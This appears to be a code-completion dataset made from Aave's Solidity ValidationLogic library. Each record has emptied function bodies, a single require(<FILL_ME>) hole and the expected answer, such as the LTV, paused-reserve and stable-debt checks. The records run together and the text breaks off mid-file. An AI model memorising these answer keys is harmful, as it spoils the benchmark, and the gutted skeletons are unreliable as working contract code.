DataTypes.EModeCategory) storage eModeCategories, DataTypes.ValidateBorrowParams memory params ) internal view { } /** * @notice Validates a repay action. * @param reserveCache The cached data of the reserve * @param amountSent The amount sent for the repayment. Can be an actual value or uint(-1) * @param interestRateMode The interest rate mode of the debt being repaid * @param onBehalfOf The address of the user msg.sender is repaying for * @param stableDebt The borrow balance of the user * @param variableDebt The borrow balance of the user */ function validateRepay( DataTypes.ReserveCache memory reserveCache, uint256 amountSent, DataTypes.InterestRateMode interestRateMode, address onBehalfOf, uint256 stableDebt, uint256 variableDebt ) internal view { } /** * @notice Validates a swap of borrow rate mode. * @param reserve The reserve state on which the user is swapping the rate * @param reserveCache The cached data of the reserve * @param userConfig The user reserves configuration * @param stableDebt The stable debt of the user * @param variableDebt The variable debt of the user * @param currentRateMode The rate mode of the debt being swapped */ function validateSwapRateMode( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, DataTypes.UserConfigurationMap storage userConfig, uint256 stableDebt, uint256 variableDebt, DataTypes.InterestRateMode currentRateMode ) internal view { } /** * @notice Validates a stable borrow rate rebalance action. * @dev Rebalancing is accepted when depositors are earning <= 90% of their earnings in pure supply/demand market (variable rate only) * For this to be the case, there has to be quite large stable debt with an interest rate below the current variable rate. * @param reserve The reserve state on which the user is getting rebalanced * @param reserveCache The cached state of the reserve * @param reserveAddress The address of the reserve */ function validateRebalanceStableBorrowRate( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, address reserveAddress ) internal view { } /** * @notice Validates the action of setting an asset as collateral. * @param reserveCache The cached data of the reserve * @param userBalance The balance of the user */ function validateSetUseReserveAsCollateral( DataTypes.ReserveCache memory reserveCache, uint256 userBalance ) internal pure { } /** * @notice Validates a flashloan action. * @param reservesData The state of all the reserves * @param assets The assets being flash-borrowed * @param amounts The amounts for each asset being borrowed */ function validateFlashloan( mapping(address => DataTypes.ReserveData) storage reservesData, address[] memory assets, uint256[] memory amounts ) internal view { } /** * @notice Validates a flashloan action. * @param reserve The state of the reserve */ function validateFlashloanSimple(DataTypes.ReserveData storage reserve) internal view { } struct ValidateLiquidationCallLocalVars { bool collateralReserveActive; bool collateralReservePaused; bool principalReserveActive; bool principalReservePaused; bool isCollateralEnabled; } /** * @notice Validates the liquidation action. * @param userConfig The user configuration mapping * @param collateralReserve The reserve data of the collateral * @param params Additional parameters needed for the validation */ function validateLiquidationCall( DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveData storage collateralReserve, DataTypes.ValidateLiquidationCallParams memory params ) internal view { } /** * @notice Validates the health factor of a user. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param user The user to validate health factor of * @param userEModeCategory The users active efficiency mode category * @param reservesCount The number of available reserves * @param oracle The price oracle */ function validateHealthFactor( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address user, uint8 userEModeCategory, uint256 reservesCount, address oracle ) internal view returns (uint256, bool) { } /** * @notice Validates the health factor of a user and the ltv of the asset being withdrawn. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param asset The asset for which the ltv will be validated * @param from The user from which the aTokens are being transferred * @param reservesCount The number of available reserves * @param oracle The price oracle * @param userEModeCategory The users active efficiency mode category */ function validateHFAndLtv( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address asset, address from, uint256 reservesCount, address oracle, uint8 userEModeCategory ) internal view { DataTypes.ReserveData memory reserve = reservesData[asset]; (, bool hasZeroLtvCollateral) = validateHealthFactor( reservesData, reservesList, eModeCategories, userConfig, from, userEModeCategory, reservesCount, oracle ); require(<FILL_ME>) } /** * @notice Validates a transfer action. * @param reserve The reserve object */ function validateTransfer(DataTypes.ReserveData storage reserve) internal view { } /** * @notice Validates a drop reserve action. * @param reservesList The addresses of all the active reserves * @param reserve The reserve object * @param asset The address of the reserve's underlying asset */ function validateDropReserve( mapping(uint256 => address) storage reservesList, DataTypes.ReserveData storage reserve, address asset ) internal view { } /** * @notice Validates the action of setting efficiency mode. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories a mapping storing configurations for all efficiency mode categories * @param userConfig the user configuration * @param reservesCount The total number of valid reserves * @param categoryId The id of the category */ function validateSetUserEMode( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, uint256 reservesCount, uint8 categoryId ) internal view { } /** * @notice Validates the action of activating the asset as collateral. * @dev Only possible if the asset has non-zero LTV and the user is not in isolation mode * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig ) internal view returns (bool) { } /** * @notice Validates if an asset should be automatically activated as collateral in the following actions: supply, * transfer, mint unbacked, and liquidate * @dev This is used to ensure that isolated assets are not enabled as collateral automatically * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateAutomaticUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig, address aTokenAddress ) internal view returns (bool) { } }
!hasZeroLtvCollateral||reserve.configuration.getLtv()==0,Errors.LTV_VALIDATION_FAILED
435,439
!hasZeroLtvCollateral||reserve.configuration.getLtv()==0
Errors.RESERVE_PAUSED
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.10; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {Address} from '../../../dependencies/openzeppelin/contracts/Address.sol'; import {GPv2SafeERC20} from '../../../dependencies/gnosis/contracts/GPv2SafeERC20.sol'; import {IReserveInterestRateStrategy} from '../../../interfaces/IReserveInterestRateStrategy.sol'; import {IStableDebtToken} from '../../../interfaces/IStableDebtToken.sol'; import {IScaledBalanceToken} from '../../../interfaces/IScaledBalanceToken.sol'; import {IPriceOracleGetter} from '../../../interfaces/IPriceOracleGetter.sol'; import {IAToken} from '../../../interfaces/IAToken.sol'; import {IPriceOracleSentinel} from '../../../interfaces/IPriceOracleSentinel.sol'; import {IPoolAddressesProvider} from '../../../interfaces/IPoolAddressesProvider.sol'; import {IAccessControl} from '../../../dependencies/openzeppelin/contracts/IAccessControl.sol'; import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../configuration/UserConfiguration.sol'; import {Errors} from '../helpers/Errors.sol'; import {WadRayMath} from '../math/WadRayMath.sol'; import {PercentageMath} from '../math/PercentageMath.sol'; import {DataTypes} from '../types/DataTypes.sol'; import {ReserveLogic} from './ReserveLogic.sol'; import {GenericLogic} from './GenericLogic.sol'; import {SafeCast} from '../../../dependencies/openzeppelin/contracts/SafeCast.sol'; import {IncentivizedERC20} from '../../tokenization/base/IncentivizedERC20.sol'; /** * @title ReserveLogic library * @author Aave * @notice Implements functions to validate the different actions of the protocol */ library ValidationLogic { using ReserveLogic for DataTypes.ReserveData; using WadRayMath for uint256; using PercentageMath for uint256; using SafeCast for uint256; using GPv2SafeERC20 for IERC20; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; using Address for address; // Factor to apply to "only-variable-debt" liquidity rate to get threshold for rebalancing, expressed in bps // A value of 0.9e4 results in 90% uint256 public constant REBALANCE_UP_LIQUIDITY_RATE_THRESHOLD = 0.9e4; // Minimum health factor allowed under any circumstance // A value of 0.95e18 results in 0.95 uint256 public constant MINIMUM_HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 0.95e18; /** * @dev Minimum health factor to consider a user position healthy * A value of 1e18 results in 1 */ uint256 public constant HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 1e18; /** * @dev Role identifier for the role allowed to supply isolated reserves as collateral */ bytes32 public constant ISOLATED_COLLATERAL_SUPPLIER_ROLE = keccak256('ISOLATED_COLLATERAL_SUPPLIER'); /** * @notice Validates a supply action. * @param reserveCache The cached data of the reserve * @param amount The amount to be supplied */ function validateSupply( DataTypes.ReserveCache memory reserveCache, DataTypes.ReserveData storage reserve, uint256 amount ) internal view { } /** * @notice Validates a withdraw action. * @param reserveCache The cached data of the reserve * @param amount The amount to be withdrawn * @param userBalance The balance of the user */ function validateWithdraw( DataTypes.ReserveCache memory reserveCache, uint256 amount, uint256 userBalance ) internal pure { } struct ValidateBorrowLocalVars { uint256 currentLtv; uint256 collateralNeededInBaseCurrency; uint256 userCollateralInBaseCurrency; uint256 userDebtInBaseCurrency; uint256 availableLiquidity; uint256 healthFactor; uint256 totalDebt; uint256 totalSupplyVariableDebt; uint256 reserveDecimals; uint256 borrowCap; uint256 amountInBaseCurrency; uint256 assetUnit; address eModePriceSource; address siloedBorrowingAddress; bool isActive; bool isFrozen; bool isPaused; bool borrowingEnabled; bool stableRateBorrowingEnabled; bool siloedBorrowingEnabled; } /** * @notice Validates a borrow action. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param params Additional params needed for the validation */ function validateBorrow( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.ValidateBorrowParams memory params ) internal view { } /** * @notice Validates a repay action. * @param reserveCache The cached data of the reserve * @param amountSent The amount sent for the repayment. Can be an actual value or uint(-1) * @param interestRateMode The interest rate mode of the debt being repaid * @param onBehalfOf The address of the user msg.sender is repaying for * @param stableDebt The borrow balance of the user * @param variableDebt The borrow balance of the user */ function validateRepay( DataTypes.ReserveCache memory reserveCache, uint256 amountSent, DataTypes.InterestRateMode interestRateMode, address onBehalfOf, uint256 stableDebt, uint256 variableDebt ) internal view { } /** * @notice Validates a swap of borrow rate mode. * @param reserve The reserve state on which the user is swapping the rate * @param reserveCache The cached data of the reserve * @param userConfig The user reserves configuration * @param stableDebt The stable debt of the user * @param variableDebt The variable debt of the user * @param currentRateMode The rate mode of the debt being swapped */ function validateSwapRateMode( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, DataTypes.UserConfigurationMap storage userConfig, uint256 stableDebt, uint256 variableDebt, DataTypes.InterestRateMode currentRateMode ) internal view { } /** * @notice Validates a stable borrow rate rebalance action. * @dev Rebalancing is accepted when depositors are earning <= 90% of their earnings in pure supply/demand market (variable rate only) * For this to be the case, there has to be quite large stable debt with an interest rate below the current variable rate. * @param reserve The reserve state on which the user is getting rebalanced * @param reserveCache The cached state of the reserve * @param reserveAddress The address of the reserve */ function validateRebalanceStableBorrowRate( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, address reserveAddress ) internal view { } /** * @notice Validates the action of setting an asset as collateral. * @param reserveCache The cached data of the reserve * @param userBalance The balance of the user */ function validateSetUseReserveAsCollateral( DataTypes.ReserveCache memory reserveCache, uint256 userBalance ) internal pure { } /** * @notice Validates a flashloan action. * @param reservesData The state of all the reserves * @param assets The assets being flash-borrowed * @param amounts The amounts for each asset being borrowed */ function validateFlashloan( mapping(address => DataTypes.ReserveData) storage reservesData, address[] memory assets, uint256[] memory amounts ) internal view { } /** * @notice Validates a flashloan action. * @param reserve The state of the reserve */ function validateFlashloanSimple(DataTypes.ReserveData storage reserve) internal view { } struct ValidateLiquidationCallLocalVars { bool collateralReserveActive; bool collateralReservePaused; bool principalReserveActive; bool principalReservePaused; bool isCollateralEnabled; } /** * @notice Validates the liquidation action. * @param userConfig The user configuration mapping * @param collateralReserve The reserve data of the collateral * @param params Additional parameters needed for the validation */ function validateLiquidationCall( DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveData storage collateralReserve, DataTypes.ValidateLiquidationCallParams memory params ) internal view { } /** * @notice Validates the health factor of a user. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param user The user to validate health factor of * @param userEModeCategory The users active efficiency mode category * @param reservesCount The number of available reserves * @param oracle The price oracle */ function validateHealthFactor( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address user, uint8 userEModeCategory, uint256 reservesCount, address oracle ) internal view returns (uint256, bool) { } /** * @notice Validates the health factor of a user and the ltv of the asset being withdrawn. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param asset The asset for which the ltv will be validated * @param from The user from which the aTokens are being transferred * @param reservesCount The number of available reserves * @param oracle The price oracle * @param userEModeCategory The users active efficiency mode category */ function validateHFAndLtv( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address asset, address from, uint256 reservesCount, address oracle, uint8 userEModeCategory ) internal view { } /** * @notice Validates a transfer action. * @param reserve The reserve object */ function validateTransfer(DataTypes.ReserveData storage reserve) internal view { require(<FILL_ME>) } /** * @notice Validates a drop reserve action. * @param reservesList The addresses of all the active reserves * @param reserve The reserve object * @param asset The address of the reserve's underlying asset */ function validateDropReserve( mapping(uint256 => address) storage reservesList, DataTypes.ReserveData storage reserve, address asset ) internal view { } /** * @notice Validates the action of setting efficiency mode. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories a mapping storing configurations for all efficiency mode categories * @param userConfig the user configuration * @param reservesCount The total number of valid reserves * @param categoryId The id of the category */ function validateSetUserEMode( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, uint256 reservesCount, uint8 categoryId ) internal view { } /** * @notice Validates the action of activating the asset as collateral. * @dev Only possible if the asset has non-zero LTV and the user is not in isolation mode * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig ) internal view returns (bool) { } /** * @notice Validates if an asset should be automatically activated as collateral in the following actions: supply, * transfer, mint unbacked, and liquidate * @dev This is used to ensure that isolated assets are not enabled as collateral automatically * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateAutomaticUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig, address aTokenAddress ) internal view returns (bool) { } }
!reserve.configuration.getPaused(),Errors.RESERVE_PAUSED
435,439
!reserve.configuration.getPaused()
Errors.STABLE_DEBT_NOT_ZERO
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.10; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {Address} from '../../../dependencies/openzeppelin/contracts/Address.sol'; import {GPv2SafeERC20} from '../../../dependencies/gnosis/contracts/GPv2SafeERC20.sol'; import {IReserveInterestRateStrategy} from '../../../interfaces/IReserveInterestRateStrategy.sol'; import {IStableDebtToken} from '../../../interfaces/IStableDebtToken.sol'; import {IScaledBalanceToken} from '../../../interfaces/IScaledBalanceToken.sol'; import {IPriceOracleGetter} from '../../../interfaces/IPriceOracleGetter.sol'; import {IAToken} from '../../../interfaces/IAToken.sol'; import {IPriceOracleSentinel} from '../../../interfaces/IPriceOracleSentinel.sol'; import {IPoolAddressesProvider} from '../../../interfaces/IPoolAddressesProvider.sol'; import {IAccessControl} from '../../../dependencies/openzeppelin/contracts/IAccessControl.sol'; import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../configuration/UserConfiguration.sol'; import {Errors} from '../helpers/Errors.sol'; import {WadRayMath} from '../math/WadRayMath.sol'; import {PercentageMath} from '../math/PercentageMath.sol'; import {DataTypes} from '../types/DataTypes.sol'; import {ReserveLogic} from './ReserveLogic.sol'; import {GenericLogic} from './GenericLogic.sol'; import {SafeCast} from '../../../dependencies/openzeppelin/contracts/SafeCast.sol'; import {IncentivizedERC20} from '../../tokenization/base/IncentivizedERC20.sol'; /** * @title ReserveLogic library * @author Aave * @notice Implements functions to validate the different actions of the protocol */ library ValidationLogic { using ReserveLogic for DataTypes.ReserveData; using WadRayMath for uint256; using PercentageMath for uint256; using SafeCast for uint256; using GPv2SafeERC20 for IERC20; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; using Address for address; // Factor to apply to "only-variable-debt" liquidity rate to get threshold for rebalancing, expressed in bps // A value of 0.9e4 results in 90% uint256 public constant REBALANCE_UP_LIQUIDITY_RATE_THRESHOLD = 0.9e4; // Minimum health factor allowed under any circumstance // A value of 0.95e18 results in 0.95 uint256 public constant MINIMUM_HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 0.95e18; /** * @dev Minimum health factor to consider a user position healthy * A value of 1e18 results in 1 */ uint256 public constant HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 1e18; /** * @dev Role identifier for the role allowed to supply isolated reserves as collateral */ bytes32 public constant ISOLATED_COLLATERAL_SUPPLIER_ROLE = keccak256('ISOLATED_COLLATERAL_SUPPLIER'); /** * @notice Validates a supply action. * @param reserveCache The cached data of the reserve * @param amount The amount to be supplied */ function validateSupply( DataTypes.ReserveCache memory reserveCache, DataTypes.ReserveData storage reserve, uint256 amount ) internal view { } /** * @notice Validates a withdraw action. * @param reserveCache The cached data of the reserve * @param amount The amount to be withdrawn * @param userBalance The balance of the user */ function validateWithdraw( DataTypes.ReserveCache memory reserveCache, uint256 amount, uint256 userBalance ) internal pure { } struct ValidateBorrowLocalVars { uint256 currentLtv; uint256 collateralNeededInBaseCurrency; uint256 userCollateralInBaseCurrency; uint256 userDebtInBaseCurrency; uint256 availableLiquidity; uint256 healthFactor; uint256 totalDebt; uint256 totalSupplyVariableDebt; uint256 reserveDecimals; uint256 borrowCap; uint256 amountInBaseCurrency; uint256 assetUnit; address eModePriceSource; address siloedBorrowingAddress; bool isActive; bool isFrozen; bool isPaused; bool borrowingEnabled; bool stableRateBorrowingEnabled; bool siloedBorrowingEnabled; } /** * @notice Validates a borrow action. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param params Additional params needed for the validation */ function validateBorrow( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.ValidateBorrowParams memory params ) internal view { } /** * @notice Validates a repay action. * @param reserveCache The cached data of the reserve * @param amountSent The amount sent for the repayment. Can be an actual value or uint(-1) * @param interestRateMode The interest rate mode of the debt being repaid * @param onBehalfOf The address of the user msg.sender is repaying for * @param stableDebt The borrow balance of the user * @param variableDebt The borrow balance of the user */ function validateRepay( DataTypes.ReserveCache memory reserveCache, uint256 amountSent, DataTypes.InterestRateMode interestRateMode, address onBehalfOf, uint256 stableDebt, uint256 variableDebt ) internal view { } /** * @notice Validates a swap of borrow rate mode. * @param reserve The reserve state on which the user is swapping the rate * @param reserveCache The cached data of the reserve * @param userConfig The user reserves configuration * @param stableDebt The stable debt of the user * @param variableDebt The variable debt of the user * @param currentRateMode The rate mode of the debt being swapped */ function validateSwapRateMode( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, DataTypes.UserConfigurationMap storage userConfig, uint256 stableDebt, uint256 variableDebt, DataTypes.InterestRateMode currentRateMode ) internal view { } /** * @notice Validates a stable borrow rate rebalance action. * @dev Rebalancing is accepted when depositors are earning <= 90% of their earnings in pure supply/demand market (variable rate only) * For this to be the case, there has to be quite large stable debt with an interest rate below the current variable rate. * @param reserve The reserve state on which the user is getting rebalanced * @param reserveCache The cached state of the reserve * @param reserveAddress The address of the reserve */ function validateRebalanceStableBorrowRate( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, address reserveAddress ) internal view { } /** * @notice Validates the action of setting an asset as collateral. * @param reserveCache The cached data of the reserve * @param userBalance The balance of the user */ function validateSetUseReserveAsCollateral( DataTypes.ReserveCache memory reserveCache, uint256 userBalance ) internal pure { } /** * @notice Validates a flashloan action. * @param reservesData The state of all the reserves * @param assets The assets being flash-borrowed * @param amounts The amounts for each asset being borrowed */ function validateFlashloan( mapping(address => DataTypes.ReserveData) storage reservesData, address[] memory assets, uint256[] memory amounts ) internal view { } /** * @notice Validates a flashloan action. * @param reserve The state of the reserve */ function validateFlashloanSimple(DataTypes.ReserveData storage reserve) internal view { } struct ValidateLiquidationCallLocalVars { bool collateralReserveActive; bool collateralReservePaused; bool principalReserveActive; bool principalReservePaused; bool isCollateralEnabled; } /** * @notice Validates the liquidation action. * @param userConfig The user configuration mapping * @param collateralReserve The reserve data of the collateral * @param params Additional parameters needed for the validation */ function validateLiquidationCall( DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveData storage collateralReserve, DataTypes.ValidateLiquidationCallParams memory params ) internal view { } /** * @notice Validates the health factor of a user. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param user The user to validate health factor of * @param userEModeCategory The users active efficiency mode category * @param reservesCount The number of available reserves * @param oracle The price oracle */ function validateHealthFactor( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address user, uint8 userEModeCategory, uint256 reservesCount, address oracle ) internal view returns (uint256, bool) { } /** * @notice Validates the health factor of a user and the ltv of the asset being withdrawn. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param asset The asset for which the ltv will be validated * @param from The user from which the aTokens are being transferred * @param reservesCount The number of available reserves * @param oracle The price oracle * @param userEModeCategory The users active efficiency mode category */ function validateHFAndLtv( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address asset, address from, uint256 reservesCount, address oracle, uint8 userEModeCategory ) internal view { } /** * @notice Validates a transfer action. * @param reserve The reserve object */ function validateTransfer(DataTypes.ReserveData storage reserve) internal view { } /** * @notice Validates a drop reserve action. * @param reservesList The addresses of all the active reserves * @param reserve The reserve object * @param asset The address of the reserve's underlying asset */ function validateDropReserve( mapping(uint256 => address) storage reservesList, DataTypes.ReserveData storage reserve, address asset ) internal view { require(asset != address(0), Errors.ZERO_ADDRESS_NOT_VALID); require(reserve.id != 0 || reservesList[0] == asset, Errors.ASSET_NOT_LISTED); require(<FILL_ME>) require( IERC20(reserve.variableDebtTokenAddress).totalSupply() == 0, Errors.VARIABLE_DEBT_SUPPLY_NOT_ZERO ); require( IERC20(reserve.aTokenAddress).totalSupply() == 0 && reserve.accruedToTreasury == 0, Errors.UNDERLYING_CLAIMABLE_RIGHTS_NOT_ZERO ); } /** * @notice Validates the action of setting efficiency mode. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories a mapping storing configurations for all efficiency mode categories * @param userConfig the user configuration * @param reservesCount The total number of valid reserves * @param categoryId The id of the category */ function validateSetUserEMode( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, uint256 reservesCount, uint8 categoryId ) internal view { } /** * @notice Validates the action of activating the asset as collateral. * @dev Only possible if the asset has non-zero LTV and the user is not in isolation mode * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig ) internal view returns (bool) { } /** * @notice Validates if an asset should be automatically activated as collateral in the following actions: supply, * transfer, mint unbacked, and liquidate * @dev This is used to ensure that isolated assets are not enabled as collateral automatically * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateAutomaticUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig, address aTokenAddress ) internal view returns (bool) { } }
IERC20(reserve.stableDebtTokenAddress).totalSupply()==0,Errors.STABLE_DEBT_NOT_ZERO
435,439
IERC20(reserve.stableDebtTokenAddress).totalSupply()==0
Errors.VARIABLE_DEBT_SUPPLY_NOT_ZERO
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.10; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {Address} from '../../../dependencies/openzeppelin/contracts/Address.sol'; import {GPv2SafeERC20} from '../../../dependencies/gnosis/contracts/GPv2SafeERC20.sol'; import {IReserveInterestRateStrategy} from '../../../interfaces/IReserveInterestRateStrategy.sol'; import {IStableDebtToken} from '../../../interfaces/IStableDebtToken.sol'; import {IScaledBalanceToken} from '../../../interfaces/IScaledBalanceToken.sol'; import {IPriceOracleGetter} from '../../../interfaces/IPriceOracleGetter.sol'; import {IAToken} from '../../../interfaces/IAToken.sol'; import {IPriceOracleSentinel} from '../../../interfaces/IPriceOracleSentinel.sol'; import {IPoolAddressesProvider} from '../../../interfaces/IPoolAddressesProvider.sol'; import {IAccessControl} from '../../../dependencies/openzeppelin/contracts/IAccessControl.sol'; import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../configuration/UserConfiguration.sol'; import {Errors} from '../helpers/Errors.sol'; import {WadRayMath} from '../math/WadRayMath.sol'; import {PercentageMath} from '../math/PercentageMath.sol'; import {DataTypes} from '../types/DataTypes.sol'; import {ReserveLogic} from './ReserveLogic.sol'; import {GenericLogic} from './GenericLogic.sol'; import {SafeCast} from '../../../dependencies/openzeppelin/contracts/SafeCast.sol'; import {IncentivizedERC20} from '../../tokenization/base/IncentivizedERC20.sol'; /** * @title ReserveLogic library * @author Aave * @notice Implements functions to validate the different actions of the protocol */ library ValidationLogic { using ReserveLogic for DataTypes.ReserveData; using WadRayMath for uint256; using PercentageMath for uint256; using SafeCast for uint256; using GPv2SafeERC20 for IERC20; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; using Address for address; // Factor to apply to "only-variable-debt" liquidity rate to get threshold for rebalancing, expressed in bps // A value of 0.9e4 results in 90% uint256 public constant REBALANCE_UP_LIQUIDITY_RATE_THRESHOLD = 0.9e4; // Minimum health factor allowed under any circumstance // A value of 0.95e18 results in 0.95 uint256 public constant MINIMUM_HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 0.95e18; /** * @dev Minimum health factor to consider a user position healthy * A value of 1e18 results in 1 */ uint256 public constant HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 1e18; /** * @dev Role identifier for the role allowed to supply isolated reserves as collateral */ bytes32 public constant ISOLATED_COLLATERAL_SUPPLIER_ROLE = keccak256('ISOLATED_COLLATERAL_SUPPLIER'); /** * @notice Validates a supply action. * @param reserveCache The cached data of the reserve * @param amount The amount to be supplied */ function validateSupply( DataTypes.ReserveCache memory reserveCache, DataTypes.ReserveData storage reserve, uint256 amount ) internal view { } /** * @notice Validates a withdraw action. * @param reserveCache The cached data of the reserve * @param amount The amount to be withdrawn * @param userBalance The balance of the user */ function validateWithdraw( DataTypes.ReserveCache memory reserveCache, uint256 amount, uint256 userBalance ) internal pure { } struct ValidateBorrowLocalVars { uint256 currentLtv; uint256 collateralNeededInBaseCurrency; uint256 userCollateralInBaseCurrency; uint256 userDebtInBaseCurrency; uint256 availableLiquidity; uint256 healthFactor; uint256 totalDebt; uint256 totalSupplyVariableDebt; uint256 reserveDecimals; uint256 borrowCap; uint256 amountInBaseCurrency; uint256 assetUnit; address eModePriceSource; address siloedBorrowingAddress; bool isActive; bool isFrozen; bool isPaused; bool borrowingEnabled; bool stableRateBorrowingEnabled; bool siloedBorrowingEnabled; } /** * @notice Validates a borrow action. * @param reservesData The state of all the reserves * @param reservesList The 